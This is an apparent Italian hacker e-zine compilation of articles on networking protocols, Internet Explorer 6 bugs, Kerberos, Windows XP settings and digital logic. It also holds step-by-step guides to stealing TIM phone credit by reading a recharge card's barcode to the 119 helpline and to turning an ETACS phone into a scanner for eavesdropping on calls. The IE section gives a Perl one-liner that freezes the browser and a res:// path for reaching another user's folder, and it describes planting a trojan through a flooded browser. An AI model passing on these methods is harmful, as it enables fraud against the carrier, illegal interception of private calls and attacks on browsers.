maggior parte delle volte, per raccogliere informazioni riguardanti una rete.. si costruiscono dei pacchetti appositi x generare un errore ICMP da parte dell'host. Questi ICMP viaggiano in un certo senso, dentro all'IP e quindi assumono in gran parte i suoi Problemi, infatti possono essere perduti duplicati etc .. Ci sono vari tipi di errori riguardanti anche l'IP come: * Errori di checksum * TTL (time-to-live = tempo di vita) * Mancanza di route per la rete destinazione * Impossibilità di consegnare il pacchetto al destinatario (quando per esempio l'host nn risponde ad una chiamata ARP). ah.. dimenticavo ;).. i messaggi ICMP di dividono in due categorie: messaggi di errore (error messages) e messaggi di informazione (informational messages). i messaggi di errore si dividono in: OoOoOoO Messaggi di Errore OoOoOo * SOURCE_QUENCH (rallentamento) * TIME_EXCEEDED (tempo scaduto) e viene mandato quando un pacchetto arriva ad un intermediate system con un time-to-live pari a: 0. * DESTINATION_UNREACHABLE quando la macchina di destinazione e' irraggiungibile * REDIRECT (redireziona) * PARAMETER_PROBLEM (problema con i parametri) OoOoOoO Messaggi di Informazione OoOoOo * ECHO_REQUEST (richiesta di echo). - * ECHO_REPLY (risposta ad una richiesta di echo). * INFORMATION_REQUEST e INFORMATION_REPLY- * TIMESTAMP e TIMESTAMP_REPLY - -> TCP Questo protocollo, a differenza dell'ICMP E delL'IP e' stato costrutio per fornire un servizio abbastanza affidabile, permettendo di trasferire in nostri files senza perdite di dati. Grazie al TCP si sono proggettati vai servizi sicuri, come Telnet, Http etc.. x saperne di piu' basta leggere l'RFC 793. -> UDP (User Datagram Protocol) Questo protocollo e' presente nel livello TRasporto Diversamente dal TCP l'UDP e' un protocollo non affidabile e senza connessione l'unita' di trasferimento dati UDP e' il datagramma IP con un header di 8 byte aggiuntivi. Si usa l'UDP sopratutto quando si vogliono evitare dei ritardi di trasmissione di dati nell'attendere i rispettivi ACK. x finire faccio una parte sulle flag TCP che vi potrebbero servire per apprendere il testo: *** PSH: (PUSH) invia dati al ricevente . *** RST: (RESET) interrompe la connessione . *** URG: (URGENT) dati urgenti . *** SYN: (SYNHRONIZE) serve x sincronizzare i numeri SEQ . *** FIN: (FINISHED) quando l'origine ha finito di inviare dati . *** ACK: (ACKNOWLEDGE) serve x riconoscere i dati inviati dal peer . ->>> Bene credo di aver finito <<<- come al solito.. x insulti, etc etc contact me: Mail: insectx6@libero.it Server: irc.azzurra.org Channel: #DenialOfEvil """ un saluto a tutta la CreW """ .... iNs3cT- <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> InTeRnEt ExPlOrEr 6 (and previous) rEcEnt buG lIsT aNd ExPlaiNaTiOn written by [ D e j a v u ] Bene. eccoci qua un'altra volta...oggi il vostro Deja preferito vi mostrerà qualche buggettino del tanto conosciuto ie6...pronti per partire?? Ah..i bug qua descritti sono stati trovati su internet e quindi tutti ne possono prendere conoscenza..non li ho scoperti io anche se li ho testati su me stesso :) Verificando le debolezze di ie mi è sorto un dubbio: ma la microsoft non creava software?? Come mai adesso si è messa nel commercio dei Colini da brodo?? E non li fa nemmeno bene...nella versione ColinoIE6 non ci sono dei buchetti, ma della falle grosse come case :)) vabbe basta cazzate...passiamo al duro lavoro. -----[ D i s c l a i m e r Non sono stato io!!!!! E' stato Hulk il verdastro!!! E va bene, sono stato io e ne sono fiero (the Mask)!! In ogni caso quello che sto per scrivere è a scopo informativo, in modo da lasciare ai posteri un'eredità di saggezza :) -----[ 1) I l - m i s t i c o - t a g - O B J E C T Il tag object viene usato da internet explorer per inserire oggetti, ad esempio componenti activeX, all'interno di pagine html. E' la proprietà type (che può assumere come tipo "plain/text", "application/hta", "audio/x-mpeg" ecc ecc...) una della cause generatrici degli overflow di IE...vediamo due piccoli esempietti esplicativi: [a] Testato su OS: Windows 2000 Pro SP3 / Windows 98 se IE: Internet Explorer 6.0.2800.x SP1 ---[ [b] Testato su Microsoft Internet Explorer 5.01 Microsoft Internet Explorer 5.5 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 6.0 for Windows Server 2003 ---[ Cooler Than Centra Spike La prima stringa, salvata come .html, farà si che il vostro i.e. venga killato perchè ha provocato un overflow. La seconda, sempre salvata ed eseguita come .html, provoca anch'essa un buffer overflow che, se ben sfruttato, può permettere l'esecuzione di codice remoto sul computer che ha aperto la pagina. L'overflow dell'exploit [b] nasce dal fatto che dopo la lettura del carattere "/", questo si trasformi in "_/_" (3 caratteri), superando così la portata del buffer. -----[ 2) I E - f r e e z e Testato su IE6 -tutte le versioni- E' possibile "freezare" IE con un semplice .htm. Per prima cosa costruiamo il file: ---[ c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm Dopo l'apertura di freeze.htm la cpu verrà sottoposta ad un utilizzo del 100% con conseguente rallentamento o crash dell'amico Windows fintanto che i.e. non verrà killato. I 2 bytes iniziali (0xff 0xfe) stanno a significare che la codifica è unicode :) -----[ 3) E s e c u z i o n e - f i l e s - i n d e s i d e r a t i Internet Explorer possiede dei sistemi di controllo per quanto riguarda l'esecuzione non autorizzata di files (attraverso file://). E' possibile però aggirare queste restrizioni saturando IE di richieste inutili tramite http prima della richiesta vera e propria..il sistema diventerà una specie di pop-up vivente con files di sistema (come notepad...) che si aprono per circa 191 volte prima della richiesta vera e propria che ci permetterà di exploittare inserendo un trojan nel sistema che ha aperto la pagina: .... 191 richieste ... e dopo arriva il nostro trojan ... Questa vulnerabilità è davvero tragica se sfruttata con cattive intenzioni O:) anche se per ora è stata verificata solo su sistemi win2000 e la riuscita non è assicurata in tutti i casi. Eccovi l'html completo dell"exploit" da salvare come pagina web e magari da non aprire sul proprio pc : -----[ 4) A H A H A H A H A H A H Non dimetichiamoci poi dell'ormai famossisimo: ---[
...non mi fermo neanche a commentarlo..non ce nè bisogno :) vi basta salvarlo .html ed eseguirlo...e poi giù risate verso zio Bill!!! -----[ 5) V u l n e r a b i l i t à - c a r t e l l a - %USERPROFILE% Voi direte: cosa centra la cartella userprofile di windows 2000 con internet explorer?? Centra centra... attraverso questa vulnerabilità che affligge Windows2000 SP3 con Internet Explorer 6.0 SP1 un attacker può accedere facilmente ad un username diverso dal suo ( C:\Documents and Settings\victim ) senza avere privilegi di guest. Come può succedere tutto questo? Semplice, sfruttando il buggettino che si trova nella pagina "cannot find server" altresì detta "impossibile trovare il server" che tutti avrete visto almeno una volta. Provate a digitare res://C:\WINNT\System32\shdoclc.dll/dnserror.htm#file://C:\Documents and Settings\%USERNAME%\Desktop\ftp:\\%@\ per verificare se l'exploit funziona, dato he io non ci ho ancora provato :P Eccovi un esempio di questo bug; occorre creare le seguenti pagine html: [exploit.html] [ftpexp.html] Exploit e posizionare exploit.html nella cartella TEMP del vostro win2000. Fatto ciò aprite ftpexp.html e cliccate sul link. Se la cartella temp si apre...beh adesso conoscete un nuovo metodo figo per entrare in un sistema windows2000 :) ----[ T h e - E n d Ripeto che tutte le informazioni che vi ho dato le ho trovate spulciando nel web, quindi non mettetemi in croce se alcune non funzionano e se ho scritto tutte cavolate :) email: dejavu@nshcrew.zzn.com - thisisadejavu@interfree.it web: www.thisisadejavu.cjb.net - www.nshcrew.cjb.net Ringrazio tutti quelli che mi amano, la crew NsH che adoro, informazionelibera e tutte le donne del mondo.Il tut è finito andate in pace... see ya [ D e j a v u ] <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> Sommario: #Kerberos Versione 5 -I sotto protocolli Kerberos -AS Exchange -TGS Exchange -CS Exchange #Autenticazione con windows 2000 -Autenticazione Interdominio **KERBEROS versione 5** Kerberos è il protocollo di autenticazione per windows 2000. Garantisce una autenticazione reciproca, cioé il server verifica l'indentità del client e viceversa. Kerberos assicura che nessun estraneo possa compromettere la sicurezza dell'autenticazione, questo con l'uso della crittografia. Oltre che un client ed un server, il protocollo Kerberos necessita una terza parte: il KDC (Key Distribution Center, il centro di distribuzione delle chiavi). Questa è una autorità fidata, conserva tutte le informazioni in un database. Condivide con i suoi clienti una chiave a lungo termine, valida per un tempo prolungato, ricavata generalmente dalla password che questi usano per autenticarsi al KDC. Il client si rivolge al KDC e gli dice che vuole connettersi al Server. Il KDC restituisce al client una chiave di sessione per la connessione con il Server criptata con la chiave a lungo termine che il client condivide con il KDC. Invia al client, inoltre, un ticket composto da informazioni sul client e la copia della chiave di sessione per il server. Il client, quindi, si ritrova la chiave di sessione criptata con la chiave a lungo termine che esso condivide con il KDC e il ticket, tutto criptato con la chiave a lungo termine che il server condivide con il KDC. Inserisce questi due pacchetti in un area di memoria (non nell'Hard Disk) protetta. Quando il client si vuole connettere al server invia un autenticatore criptato con la chiave di sessione al server e il ticket. Questi due costituiscono le credenziali del client di fronte al server. Il server prima di tutto decripta il ticket, così ricavando le informazioni sul client e la chiave di sessione, decripta l'autenticatore e se qeusto è giusto, il server ne deduce che il client ha ricavato le sue credenziali dal KDC che è una autorità fidata, la connessione può avere luogo. Se è richiesta l'autencicazione reciproca , il server cripta l'orario riportato sull' autenticatore del client con la chiave di sessione questo è l'autenticatore del server per il client. Il Server non memorizza il ticket, perché questo comporterebbe uno spreco di risorse (pensate ad un server che interagisce con centinaia di client). Il client ha il compito conservare il ticket, inoltre quando il client si vuole riconnettere al server, non deve contattare nuovamente il KDC, ma può riutilizzare il ticket, se questo non è scaduta; la validità di solito è di otto ore. L'area di memoria viene liberata quando l'utente si disconnette dalla workstation. Vediamo ora come il client si comporta con il KDC: Quando l'utente accede alla workstation, il client kerberos ricava l'hash della password di accesso usando l'algoritmo DES-CBC-MD5. Al client Kerberos serve una chiave di sessione ed un ticket per le sue future connessioni con il KDC. Il client si rivolge al KDC, quest'ultimo cerca nel suo database la chiave a lungo termine del client. Questo processo di richiesta di una chiave avviene una volta sola, cioé quando l'utente si connette alla rete. Il KDC restituisce al client un ticket speciale: TGT (Ticket-Granting Ticket). Questo come quando il client si rivolge al KDC per connettersi ad un server, il KDC restituisce al client un ticket di sessione per la connessione al server, mentre, in questo caso il KDC restituisce al client il ticket di connessione a se stesso (KDC), che il client utilizzerà per le connessioni future col KDC. Il TGT è criptato con la chiave a lungo termine del KDC; il KDC restituisce inoltre una copia della chiave di sessione criptata con la chiave a lungo termine dell'utente. *I SOTTOPROTOCOLLI KERBEROS* Kerberos ha dei sottoprotocolli: -Autentication Service (AS), è utilizzato quando l'utente chiede la chiave di sessione al KDC e il KDC risponde con una chiave di sessione ed un TGT; -Ticket-Granting Service (TGS), è utilizzato quando l'utente richiede un Ticket e una chiave per una sessione con un servizio -Client/Server (CS), è utilizzato per l'autenticazione di un client ad un server e viceversa. *AS Exchange* 1. Quando l'utente accede alla rete , il client kerberos sulla workstation ricava dalla password di accesso una chiave di cifratura e la salva nella cache delle credenziali. 2. Il client invia al KDC una richiesta KRB_AS_REQ ( Kerberos Authentication Service Request). La richiesta è formata da due parti: Nella prima parte c'é la richiesta del ticket TGS per accesso ad un servizio. La seconda parte contiene dei dati di preautenticazione cioé i dati del sistema e un marcatore orario(timestamp), tutto cifrato con la chiave a lungo termine dell'utente. 3. Quando l'AS riceve la richiesta, utilizza la chiave a lungo termine del client contenuta nel database del KDC per decifrare la seconda parte del messaggio, esamina il timbro orario e se questo è accettabile, l'AS deduce che il client è autentico. Il marcatore orario è fondamentale perchè farà si che la richiesta non possa essere ripresentata nuovamente. 4. L'AS invia un messaggio KRB_AS_REP (Kerberos Authentication Service Reply) di risposta formato da due parti : La prima è formata dalla chiave di sessione che il client userà per connettersi al TGS, criptata con la chiave a lungo termine del client. La seconda parte è il TGT formata dalla stessa chiave di sessione e dei dati sull'utente, cifrati con la chiave a lungo termine del KDC. 5. Il client decifrerà la chiave di sessione e conserverà sia la chiave che il TGT. *TGS Exchange* 1. Il client invia una pacchetto KRB_TGS_REQ (Kerberos Ticket-Granting Service Request) al KDC contenente un autenticatore cifrato con la chiave di sessione di accesso dell'utente ed il TGT ottenuto nella fase precedente, e il servizio a cui il client vuole autenticarsi. 2. Il KDC riceve la richiesta e con la sua chiave a lungo termine decodifica il TGT, ricavando la chiave di sessione; con questa decifra l'autenticatore, se quest'ultimo è valido, estrae i dati di autorizzazione del Client dal TGT, così crea una chiave di sessione per client e servizio. 3. Il KDC cifra una copia della chiave di sessione che client e Servizio condivideranno con la chiave a lungo termine del Client. Crea un ticket per il servizio contenete chiave di sessione e dati sul client; il KDC cifra il ticket con la chiave a lungo termine del Servizio. 4. Il KDC inserisce questi due elementi in un pacchetto KRB_TGS_REP ( Kerberos Ticket-Granting Service Reply), e lo invia al client. 5. Il client riceve questo pacchetto e decifrando la prima parte ricava la chiave di sessione per connettersi al servizio, salva il ticket nella cache. *CS Exchange* 1. Il client invia al servizio una richiesta KRB_AP_REQ ( Kerberos Application Request). Il pacchetto contiene un autenticatore cifrato con la chiave di sessione, il ticket precedentemente ottenuto e un flag per l'autenticazione reciproca. 2. Il servizio riceve la richiesta e decifra con la sua chiave a lungo termine il ticket, ricavando la chiave di sessione e i dati relativi al client; decifra l'autenticatore che contiene il timbro orario, se questo è valido, l'autenticazione può continuare. 3. Se il flag è attivato, il server cifra il timbro orario contenuto dell'autenticatore con la chiave di sessione e lo invia al client con un pacchetto KRB_AP_REP (Kerberos Application Reply). 4. Il client riceve il pacchetto e decifra il pacchetto, se l'ora contenuta in questo pacchetto e quella nell'autenticatore da esso spedito all'inizio coincidono, il servizio è autentico. Per lo scambio di dati successivo, client e servizio possono usare la chiave di sessione per cifrare i dati, oppure possono utilizzare un' altra chiave. **Autenticazione con windows 2000** In Windows 2000 l'autenticazione è gestita dal kerberos v5 o con il vecchio NTLM. E' possibile accedere al sistema immettendo una password o tramite smart card. Quando un utente si autentica interattivamente ( cioé accede fisicamente al computer), LSA(Local Security Authority) converte la password in chiare in un hash con una funzione unidirezionale. Perche l'utente possa operare in rete deve avere un ticket-granting ticket e un ticket di sessione con chiave di sessione. LSA ottiene questi contattando l'SSP (Security Support Provider) di Kerberos, che scambia dati direttamente con il KDC. La procedura è la seguente: 1. LSA invia al KDC del dominio un messaggio KRB_AS_REQ, il pacchetto contiene il nome dell'utente, il nome del dominio e dei dati di preautenticazione, cifrati con l'hash. 2. Il KDC risponde, se i dati sono corretti, con KRB_AS_REP, contenente la chiave di sessione che il client condividerà col KDC cifrata con l'hash e il ticket-granting ticket cifrato con la chiave segreta del KDC, questo contiene la chiave di sessione, i dati di autenticazione del client e il SID del client e dei gruppi del dominio. 3. LSA invia al KDC una richiesta KRB_TGS_REQ, che contiene il nome a cui l'utente deve accedere, il nome del dominio, il TGT ricevuto precedentemente e un timbro orario cifrato con la chiave di sessione che i due condividono. 4. Il KDC, se i dati sono corretti, risponde con un pacchetto KRB_TGS_REP, contenente la chiave di sessione che il client condividerà col servizio cifrata con la chiave che il client condivide col KDC e il ticket di sessione per l'accesso al servizio cifrato con la chiave segreta che il servizio condivide col KDC, contenente la chiave di sessione che il servizio condividerà con il client e i dati per l'autenticazione copiati dal TGT. Quando LSA riceve il ticket di sessione per il client, lo decifra con la chiave segreta e ne estrae i dati di autorizzazione. LSA interroga il SAM ( Security Accounts Manager) per stabilire se l'utente è membro di qualche gruppo di protezione locale. Aggiunge i SID restituiti da questa interrogazione all'elenco ricavato dai dati di autorizzazione del ticket. L'elenco aggiornato serve a costruire un token d'accesso, mentre un riferimento al token viene passato a WinLogon insieme a un identificatore per la sessione dell'utente e alla conferma che i suoi dati di accesso sono validi. WinLogon crea una window station e diversi oggetti desktop per l'utente, unisce il tocket di accesso e avvia il processo di shell che l'utente impiega per interagire con il computer. i processi applicativi avviati dall'utente ereditano questo token di accesso. *Autenticazione Interdominio* Il KDC è diviso in due servizi: Un servizio di autenticazione che rilascia TGT è un servizio Ticket-Granting(TGS); così è possibile a Kerberos di lavorare fra domini diversi. Un client può avere il TGT di un dominio A ed usarlo per ricevere un ticket di sessione dal TGS presente nel dominio B. Ogni KDC è responsabile (principal) della protezione del proprio realm cioé del proprio dominio. Consideriamo una rete con due domini Windows 2000, A e B. Se fra i due domini si imposta una relazione di trust, esisterà un chiave interdominio, condivisa fra i due. Quando un utente con account nel dominio A vorrà accedere ad un server presente in B: 1. Il client Kerberos dell'utente invia la richiesta al TGS del proprio dominio(A). 2. Il TGS in A osserva che il server richiesto non è presente nel suo dominio ma in B, allora, spedisce all'utente un referral ticket, cioé un ticket cifrato con la chiave che i due KDC condividono. 3. Il client usa il referral ticket per preparare la richiesta del ticket di sessione destinata al TGS in B. 4. Il TGS in B decifra il ticket con la sua copia della chiave condivisa, se la decifrazione riesce, invia il ticket di sessione al client. Quando ci si trova davanti ad una rete formata da domini padre e domini figli, per esempio AB è il dominio padre, A e B sono i domini figli. Se il client in A vuole accedere ad un servizio presente in B, con la stessa procedura vista prima, dopo avere richiesto un TGT per l'ammissione in AB, chiede il ticket per l'ammissione in B ad AB. Infine chiede al TGS di B un ticket di sessione per il servizio in B. <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ------------------------------- RICARICHE TIM : BUG 119 -c-y-b-e-r-d-u-d-e---t-e-x-t--- Prima di iniziare questo articolo ci tengo a precisare che tutte le info presenti in questo testo sono a puro scopo informativo e non mi assumo la responsabilità del cattivo utilizzo di tali informazioni. Ciao a tutti ragazzi … sono le 22:39 di Lunedì 9 giugno 2003 io sto aspettando che la mia ragazza mi faccia lo squillo perché dovrei telefonarle ma arrivati a questo punto comincio a perdere le speranza, inoltre per TV non fa un fico secco e io mi sto strarompendo. Non sapendo che fare vi voglio svelare un piccolo segreto che sarebbe dovuto rimanere tale ma … che c'è di più bello che svelare i segreti? Hihihi allora voglio parlarti di quello che io ho denominato il bug del 119 della TIM cavolo ragazzi altro che programma che ci fa i codici. Volete sapere lo scoop? Attraverso questo bug della TIM noi ci ricarichiamo gratuitamente la scheda. Cosa dovete fare? Beh non è molto difficile … entrate dal vostro tabaccaio di fiducia o da uno chiunque che venda le ricariche della Tim e le tenga esposte e ben in vista. Non dovete comprarla non vi preoccupate, tutto quello che dovete fare è copiare il codice a barra della vostra ricaricard che a differenza del codice segreto non è segreto ma messo bene in vista. Adesso una volta copiato tale codice sfruttiamo il "bug" . Telefonate al 119 e dite che il vostro servizio per ricaricare la scheda è bloccato (inventatevi una scusa… che ne so dite che non lo sapete fare e chiedete che ve la ricarichino loro) … indovinate i tanto preparati tecnici cosa ci chiedono? Hihihi penso che molti di voi l'abbiamo gia intuito… ebbe si, invece di chiederci il codice segreto della ricaricard ci chiedono il codice a barra e nient'altro! Hahahaha che buffonata! Risultato : abbiamo ricaricato la scheda Tim gratuitamente e oltretutto questo bug funziona al 100% A questo punto il nostro articolo è terminato. Alla prossima ragazzi ciao Cyberdude <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ---------------------------------- Qual'è il numero di questa cabina? -c-y-b-e-r-d-u-d-e---t-e-x-t------ Bene bene ragazzi questo articolo l'ho scritto 10 minuti dopo aver terminato quello di prima (bug 119) non lo considero un vero e proprio articolo, forse possiamo definirlo un breve trucchetto. Comunque non ci perdiamo in chiacchiere inutili, giusto per rimanere in tema con il phreaking questa sera vi spiegherò anche come scoprire il numero di telefono di una cabina … unico inconveniente dovete spendere 10 centesimi ma dopo avrete il numero della cabina ( poi vedete voi cosa farvene!!!). Allora tutto quello che dovete fare è inserire i 10 centesimi digitare il numero 0521257012 e aspettare che la voce registrata vi dica il numero. Tutto qui… scusatemi se è poco Ciao a tutti CYBERDUDE <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ ƒ××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××׃ PICCOLA PER GUIDA PER TRASFORMARE IL VOSTRO VECCHIO CELLULARE IN UNO SCANNER (ovvero come intercettare le telefonate) ƒ××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××׃ ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ Autore: ph|l|pp3 Saluti: alla mia cuoricina e dolcissima rag. (che sta per ragazza e non ragioniera) e all'incorreggibile Free_Disaster81 RICORDATEVI CHE le seguenti informazioni sono solo a scopo informativo e didattico, non sono quindi responsabile delle vostre azioni e delle conseguenze derivanti dall'utilizzo di tale articolo. E ricordate che l'intercettazione è illegale, quindi non chiamatemi dal carcere per dirmi che non vi avevo avvisato. Detto questo possiamo procedere. Questo è il mio primo articolo (W0W che emozione!!), per cui se vi sembra troppo noiso o troppo stupido fatemelo sapere, saprò accettare con filosofia ogni vostra critica...(a bastonate in testa). Quello che segue è trucco un pò vecchiotto ma sempre moooolto efficace :-) Bene, se avete ancora un vecchio cellulare ETACS (riuscirete sicuramente a reperirlo da qualche parte, chiedete e vi sarà dato) controllate innanzitutto che abbia i tasti: M+ - MR - F Il vostro cellulare ha questi tasti? Bene, potete proseguire, altrimenti andate immediatamente a cercarne uno... Per trasformare il vostro cellulare in uno scanner dovete digitare la seguente sequenza di tasti: *26041969# F MR 76 MR # se tutto è andato bene dovrebbe comparire sul display: TEST MODE digitate C e successivamente chiamate un qualsiasi numero (non uno vero,eheheh!!), ad esempio 00000. Quando il telefono si sarà collegato allora premete MR # 01 e sul display compariranno una serie di quadratini. Ancora qualche secondo e... il cellulare comincerà la scansione e potrete ascoltare tutte le telefonate che vorrete... P.S.: questo trucco è testato sui cellulari NEC, ma dovrebbe andar bene anche su altri modelli purchè abbiamo quei tasti che vi ho detto in precedenza. Comunque provate...Tentar non nuoce!!! Ok, e per oggi è tutto!! Alla prossima....eNd <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ----==[ Disattivare i messaggi su XP ]==---- Salve guagliò... finalmente dopo ben due mesi mi ritrovo a scrivere un tutorial decente ( quello di contare fino a 1024 sulle mani però era simpatiko!). Oggi parliamo dei simpatici messaggi popup che si aprono ovviamente da soli su Windows XP mentre navighiamo e ci dicono tipo ' vieni sul mio sito e vedimi nuda!'... ed io ad ogni messaggio così che buttavo 100 bestemmie a chi l' aveva scritto. Comunque, ciancio alle bande (e basta con le idiozie!! ;) vi danno fastidio 'sti messaggi eh? Anche perchè questi simpatici umoristi ne mandano tipo a raffica... e magari vorreste sapere come disattivarli. E siamo qui proprio x parlare di questo...! Il simpatico programma che mostra questi messaggi si chiama Messenger ed è un servizio di XP (all'inizio pensavo fosse uno spyware che avesse anche una funzione di popup ma poi ho scoperto che si trattava del vecchio winpopup, il programma che serviva x scambiarsi messaggi nella rete ed esisteva fin dai tempi di win 3.11, solo che era disattivato di default, mentre qua è attivato!) che si avvia da solo al boot. E questa simpatica gente ha pensato bene di usare questo programma che serve ai poveri cristi che stanno in rete per mandare pubblicità. Ad ogni modo.. siamo qua a leggere (voi, ed io a scrivere) proprio per disattivarlo... almeno per default, ma fare in modo che possa essere avviato manualmente (se dovesse servire...). Per far sì che non si avvii più al boot, dovete andare in Pannello di controllo, Strumenti di amministrazione, Servizi e impostare come "Manuale" il servizio chiamato appunto Messenger. Visto che vi trovate lì arrestatelo anche, così che non vi dia più fastidio anche durante questa sessione. Completato. Il programma non c'è più :P E pensare che l'ho trovato per caso, cercando qualche servizio figo... :) E poi non dite che il BiGA non vi aiuta mai! ;-) Ciauz guagliò... e buona pupplicità! :P -- BiGAlex E-Mail: b1galez@hotmail.com Founder of the Open C6 Project (openc6.cjb.net) <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> /* Scritto da Brnocrist */ // Logica Digitale .... ALU .... Le operazioni di base della logica digitale (chiamata anche algebra di boole) sono: AND OR NOT A AND B = A * B = AB A OR B = A + B _ NOT A = A I valori che ritornano sono: AND = 1(vero) se entrambe A e B sono 1. OR = 1 se almeno una tra A e B e' 1. NOT = 1 se A e' 0. Oltre a queste ce ne sono altre "composte": NAND NOR __ A NAND B = NOT (A*B) = AB ___ A NOR B = (A+B) Vediamo le tavole della verita' delle operazioni booleane: ________________________________________________________________ |A B | NOT A | A AND B | A OR B | A XOR B |A NAND B | A NOR B | |_____|_______|_________|________|_________|_________|_________| |0 0 | 1 | 0 | 0 | 0 | 1 | 1 | |0 1 | 1 | 0 | 1 | 1 | 1 | 0 | |1 0 | 0 | 0 | 1 | 1 | 1 | 0 | |1 1 | 0 | 1 | 1 | 0 | 0 | 0 | ---------------------------------------------------------------- _-_-_- Porte Logiche -_-_-_- Per vederle date un occhiata alla figura in allegato :D FIGURA porte1.jpg Possono essere usate porte logiche con piu' di un input, ma lo vedremo in seguito. Vediamo adesso un insieme di porte logiche funzionalmente completo. Sono completamente funzionali gli insiemi: AND, OR, NOT AND, NOT NOT, OR NAND NOR Le porte AND, OR, NOT, formano un isieme funzionalmente completo perche' rappresentano le 3 operazioni fondamentali dell'algebra booleana. Per dimostrare che le porte AND e OR formano un insieme funzionalmente completo, basta vedere come si realizza la porta OR con di esse con il teorema di De Morgan: ___ - - A + B = (A*B) A OR B = NOT((NOT A) AND (NOT B)) FIGURA porte2.jpg Nella figura vediamo come le AND, OR NOT possono essere realizzate usando solo porte NAND. FIGURA porte3.jpg Nella figura vediamo come le AND, OR NOT possono essere realizzate usando solo porte NOR. _-_-_-_-Circuiti Combinatori-_-_-_-_- Un circuito combinatorio e' un insieme di porte interconnesse il cui output ad ogni istante e' una funzione dell'input nello stesso momento. Ogni funzione booleana puo' essere realizzata tramite una rete di porte ligiche. Vediamo un po la tabella: _________________________________ | A | B | C | F | |-------|-------|-------|-------| | 0 | 0 | 0 | 0 | | 0 | 0 | 1 | 0 | | 0 | 1 | 0 | 1 | | 0 | 1 | 1 | 1 | | 1 | 0 | 0 | 0 | | 1 | 0 | 1 | 0 | | 1 | 1 | 0 | 1 | | 1 | 1 | 1 | 0 | --------------------------------- La prima espressione per F si ottiene elencando le combinazioni di valori di A,B,C per el quali F e' uguale a 1. _ _ _ _ F = ABC + ABC + ABC Tale rappresentazione e' detta Somma Di Prodotti(SDP) in inglese SOP. La seconda espressione per F si ottiene elencando le combinazioni dei valori di A,B,C per le quali F e' uguale a 1 se nessuan delle combinazioni di input che producono 0 e' vera. ___ ___ ___ ___ ___ __ __ _ ___ F = (ABC) * (ABC) * (ABC) * (ABC) * (ABC) Vediamo adesso con il teorema di De Morgan _____ _ _ _ X*Y*Z = X+Y+Z _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ F = (A+B+C) * (A+B+C) * (A+B+C) * (A+B+C) * (A+B+C) = _ _ _ _ _ _ _ = (A+B+C) * (A+B+C) * (A+B+C) * (A+B+C) * (A+B+C) Tale rappresentazione e' detta Prodotto di Somme (POS) _ _ _ _ Adesso prendiamo la formula F = ABC + ABC + ABC Dimostriamo che equivale a: _ _ F = AB + BC oppure _ _ F = B(A + C) E tutto cio' puo' essere implementanta in figura: FIGURA porte4.jpg Implementiamo adesso NAND e NOR Hanno il vantaggio di essere regolari e semplifica il processo di produzione vediamo un esempio: _ _ F = B(A + C) si puo' ottenere: _________ _________ _ _ _ _ F = B(A + C) = (AB) + (BC) e applicando il teorema di De Morgan otteniamo: _________ __ __ _ _ F = (AB) * (BC) Benissimo quest'equazione si puo' scrivere come: _ _ F = NAND(NAND(A,B),NAND(B,C)) FIGURA porte5.jpg _-_-_-_-Multiplexer-_-_-_-_- Un Multiplexer connette piu' input ad un solo output. Ad ogni istante un input e' selezionato per essere mandato all'output. Questo in figura e' un Multiplexer a 4 vie: FIGURA porte6.jpg Vi sono 4 vie di input (D0, D1, D2, D3) ognuna di esse e' selezionata per inviare il segnale di output F. Il codice di selezione e' a 2 bit,implementato tramite 2 linee di selezione S1 e S2. Facciamo un esempio: _____________________ | S2 | S1 | F | |------|------|-----| | 0 | 0 | D0 | | 0 | 1 | D1 | | 1 | 0 | D2 | | 1 | 1 | D3 | --------------------- Vediamo adesso un Multiplexer che fa uso di porte AND, OR , NOT. FIGURA porte7.jpg _-_-_-_-Decodificatori-_-_-_-_- Il decodificatore e' un circuito combinatorio con diverse linee di output una sola delle quali viene usata in un certo instante in funzione delle linee di input, un decodificatore ha n input e 2^n output. La figura mostra un decodificatore con 3 input e 8 output: FIGURA porte8.jpg Nei calcolatori i decodificatori vengono usati per la decodifica si un indirizzo della memoria RAM. Vediamo un po come svolge la sua funzione: Memoria di 1kb con RAM di 256x8 bit Divisione in 4 della memoria Ciascun chip richiede 8 linee di indirizzo I 2 MSB dell'indirizzo a 10 bit selezionano una delle 4 RAM con un decodificatore a 2 bit. esempio di indirizzi: _______________________ | Indirizzo | Chip | |-----------|---------| | 0000-0F | 0 | | 0100-1F | 1 | | 0200-2F | 2 | | 0300-3F | 3 | ----------------------- In figura vediamo un decodificatore di un indirizzo della mamoria RAM di 1kb FIGURA porte9.jpg Un decodificatore con una linea in piu' di input puo' essere utilizzato come un multiplexer, realizza la funzione inversa di un multiplexer, colelga un singulo input(linea dati) a uno dei 2^n output. 